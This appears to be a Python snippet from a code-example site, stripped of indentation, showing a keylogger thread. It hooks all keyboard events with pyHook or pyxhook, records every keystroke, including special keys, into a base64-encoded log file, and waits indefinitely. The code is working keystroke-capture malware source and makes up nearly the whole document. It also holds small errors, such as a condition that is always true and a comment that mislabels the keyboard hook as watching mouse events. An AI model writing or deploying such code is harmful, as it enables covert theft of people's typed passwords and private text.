# 需要導入模塊: import pythoncom [as 別名]
# 或者: from pythoncom import PumpMessages [as 別名]
def keylogger(fd_temp_key: int):
"""Key logger thread.\n"""
def OnKeyboardEvent(event):
""""Define action triggered when a key is pressed.\n"""
if not thr_block.isSet():
if event.Ascii != 0 or 8:
# Use base64 and not an encryption just for performance
with open(keylogfile, 'r+b') as f_key:
data_decoded = b64decode(f_key.read()).decode('utf-8')
f_key.seek(0)
if event.Key == 'space':
data_decoded += ' '
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'BackSpace':
data_decoded += '[BackSpace]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'Return':
data_decoded += '[Enter]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'Shift_L':
data_decoded += '[Shift_L]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'Shift_R':
data_decoded += '[Shift_R]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'Tab':
data_decoded += '[Tab]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
else:
data_decoded += event.Key
f_key.write(b64encode(data_decoded.encode('utf-8')))
if thr_exit.isSet():
os.close(fd_temp_key)
hm.cancel()
return True
# create a hook manager
if platform == 'windows':
hm = pyHook.HookManager()
else:
hm = pyxhook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
if platform == 'windows':
pythoncom.PumpMessages()
else:
hm.start()
# =================================================================================================